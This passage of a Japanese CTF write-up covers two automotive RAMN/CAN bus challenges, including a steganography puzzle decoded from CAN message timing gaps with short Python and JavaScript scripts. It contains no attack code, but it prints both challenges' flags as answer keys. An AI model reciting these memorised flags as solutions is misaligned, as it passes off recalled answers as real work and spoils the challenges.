まず値の変更について。スライドスイッチやつまみが基板に取り付けられているが、取り付けられている箇所に ACCEL, BRAKE, Steering といったことが書かれており、これを参照しつつ対応するつまみ等をいじることで値が変更できる。緑と白と2色で文字が表示されているけれども、白は直前のメッセージから変化した箇所を表す。

値の確認だけれども、画面上部のディスプレイを参照されたい。ディスプレイ中央部に直近のCANメッセージが表示されているほか、ディスプレイの上下にもう少しわかりやすい形で、たとえばアクセルやブレーキが何%ぐらい入力されているか等が表示されている。

ということで、指定された各要素に対応するつまみやスイッチをいじって、diffが発生した箇所を探す。その値と現在の状態が対応しているはずなので、頑張って求められている値に近づける。これをやっていくとフラグが表示された。チュートリアル的で素直な問題で面白かった。

bh{EXC3LLENT_BOOTH}

競技時間中に解けなかった問題

[RAMN, ECU C 2000] Where? (4 solves)

<日本語> CAN ID 0x0ABのメッセージのタイミングにフラグが隠されています。

注意:

  • フラグは "bh{" で始まるASCII文字列です。
  • 1分間のCANメッセージログにフラグを取得するために必要なすべてが含まれています。

<英語> There is a flag hidden in the timing of the message with CAN ID 0x0AB.

Note: the flag is an ASCII string that starts with "bh{". Note: A 1-minute CAN log has all you need to retrieve the flag.

jptomoyaさんによるダンプから、次のようなデータが得られていた。はあ、という感じ。

…
[2024-09-13 13:56:17.157] t0AB4000175A1
[2024-09-13 13:56:17.257] t0AB4000175A2
[2024-09-13 13:56:17.357] t0AB4000175A3
[2024-09-13 13:56:17.457] t0AB4000175A4
[2024-09-13 13:56:17.657] t0AB4000175A6
[2024-09-13 13:56:17.757] t0AB4000175A7
[2024-09-13 13:56:17.957] t0AB4000175A9
[2024-09-13 13:56:18.357] t0AB4000175AD
[2024-09-13 13:56:18.457] t0AB4000175AE
…

「メッセージのタイミングにフラグが隠されてい」るということだけれども、CANメッセージの方も怪しい。一見カウンターに見えるけれども、2, 3, 4 と来て 6 に飛んだり、7 から 9 に飛んだりしている。どういうことだろうか。

とりあえず、ptr-yudaiさんによって上記のログを 2024-09-13 11:57:31.067 0ab#00012a59 のような形式に変換し扱いやすくされた dump.txt を対象に、各メッセージ間のカウンターとタイムスタンプのそれぞれ差分を確認してみる。

import dateutil.parser

with open('dump.txt') as f:
    s = f.read().splitlines()

aa = []
ss = [int(x.split('#')[-1], 16) for x in s]
for a, b in zip(ss[:-1], ss[1:]):
    aa.append(b - a)
print(aa)

aa = []
ss = [dateutil.parser.parse(x.split(' ')[1]).timestamp() for x in s]
for a, b in zip(ss[:-1], ss[1:]):
    aa.append(round((b - a) * 10))
print(aa)

3, 1, 2, 4, 2, 2, 4, … と出てきたし、カウンターとタイムスタンプのいずれも結果はほとんど変わらなかった。ならばカウンターの方が扱いやすいのでそちらを使っていく。

さて、フラグの隠されたメッセージは繰り返し送信されているわけだが、これらのメッセージ間のカウンターの差分について周期はあるだろうか。適当に 3, 1, 2, 4, … で検索してみると複数見つかった。ここから、以下の77個が1周期であるとわかった。

3, 1, 2, 4, 2, 2, 4, 4, 2, 2, 1, 1, 1, 1, 2, 2, 1, 4, 3, 1, 2, 5, 1, 1, 1, 2, 1, 2, 4, 1, 3, 3, 1, 5, 1, 3, 1, 2, 4, 2, 2, 2, 1, 1, 1, 1, 2, 4, 1, 3, 1, 2, 1, 4, 1, 3, 2, 2, 1, 3, 2, 2, 1, 1, 3, 1, 2, 2, 1, 1, 1, 1, 2, 1, 3, 1, 1

では、これらの数値はどのような意味を持つのだろうか。5進数, ハフマン符号, …色々メンバーで考えたりローカルで色々な組み合わせをブルートフォースしたりしたがわからない。問題文等にはまったくもって有用な情報はない。こうして何時間も悩んでいるうちに、競技が終了してしまった。


懇親会で他チームの方に聞いたところ、これらの数値は次に 1 が現れるまでのビット数 + 1を表しているということだった。フラグは bh{ から始まるということだけれども、これは2進数で 01100010 01101000 01111011 だ。1 が登場する間隔は0ビット, 3ビット, 2ビット, 0ビット, 1ビット, 4ビット, 0ビット, 0ビット, …と続いていく。それぞれ1を足した 1, 4, 3, 1, 2, 5, 1, 1 で検索すると、先程の周期のひとかたまりの中に見つかった。なるほどなあ。

これをもとに周期の始点を修正しつつ、以下のスクリプトを書く。

let s = `1, 4, 3, 1, 2, 5, 1, 1, 1, 2, 1, 2, 4, 1, 3, 3, 1, 5, 1, 3, 1, 2, 4, 2, 2, 2, 1, 1, 1, 1, 2, 4, 1, 3, 1, 2, 1, 4, 1, 3, 2, 2, 1, 3, 2, 2, 1, 1, 3, 1, 2, 2, 1, 1, 1, 1, 2, 1, 3, 1, 1, 3, 1, 2, 4, 2, 2, 4, 4, 2, 2, 1, 1, 1, 1, 2, 2`;
s = '01' + s.split(', ').map(x => '0'.repeat(parseInt(x, 10) - 1)).join('1');
console.log(String.fromCharCode(...s.match(/.{8}/g).map(x => parseInt(x, 2))));

実行するとフラグが得られた。はあ。

bh{FL3E_Flees_g4TE}

Steganography というタグが付いていることから、まず最初にこの問題の質を推し量れたけれども、それはそれとしてほかのすべてのチームが解いている中でこれを解けなかったのは痛恨の極み。色々アイデアは出ていたし答えにある程度迫れていたようには思うけれども、最後のアイデアが出てこなかったのは痛い。帰りたいとポストしていたのはこれに苦しんでのことだった。

新規性があり絶対に面白い問題だと言える自信がある*11とか、解く流れや使えるツールを書いたガイドを付けて、初心者向けにCTFではこういった問題も出うると示す目的があるとか、ジョークで開催するCTFだとかいった事情がない限り、ステガノグラフィー問題は出すべきではないと思う。

*1:わざわざ原則と書くぐらいなら例外があるのだろうと思ってしまうが、ルール上は特にリモート参加が認められる条件を示しているような但し書きはなかった

*2:向こうの時間では深夜2時開始ということで大変そうだったけれども、それは仕方のないこと

*3:RAMNカテゴリ内の問題は多様だったけれども

*4:予選のように「多様」な問題は嫌だが

*5:RAMのどこかにあるフラグの読み取りやUDSのサービスの発見のためにブルートフォースが必要とされる等、取り組み始めると同時に色々と試せない問題がいくつもあった

*6:このwriteupで書いた問題はTakeover以外がアレなので信用できないかもしれない

*7:なお、懇親会の際に日本運営の方等とお話しし、次回以降もし開催される場合はルールについては検討するという回答をいただき、ルールに存在する問題は伝わっていると理解した。今回でなく次回以降か、と思うものの

*8:このルールはイカンなあとも思うし、このような裁定を下した経緯如何? と運営に聞きたい

*9:これ以外のデータも検索したし、スペースを入れずに詰めたり、\x00\x00…のようにエスケープしたりも試した

*10:悪いことに、予選では10進数でCAN IDを答える問題があった

*11:たとえば、TSG CTFのHarekazeは面白かった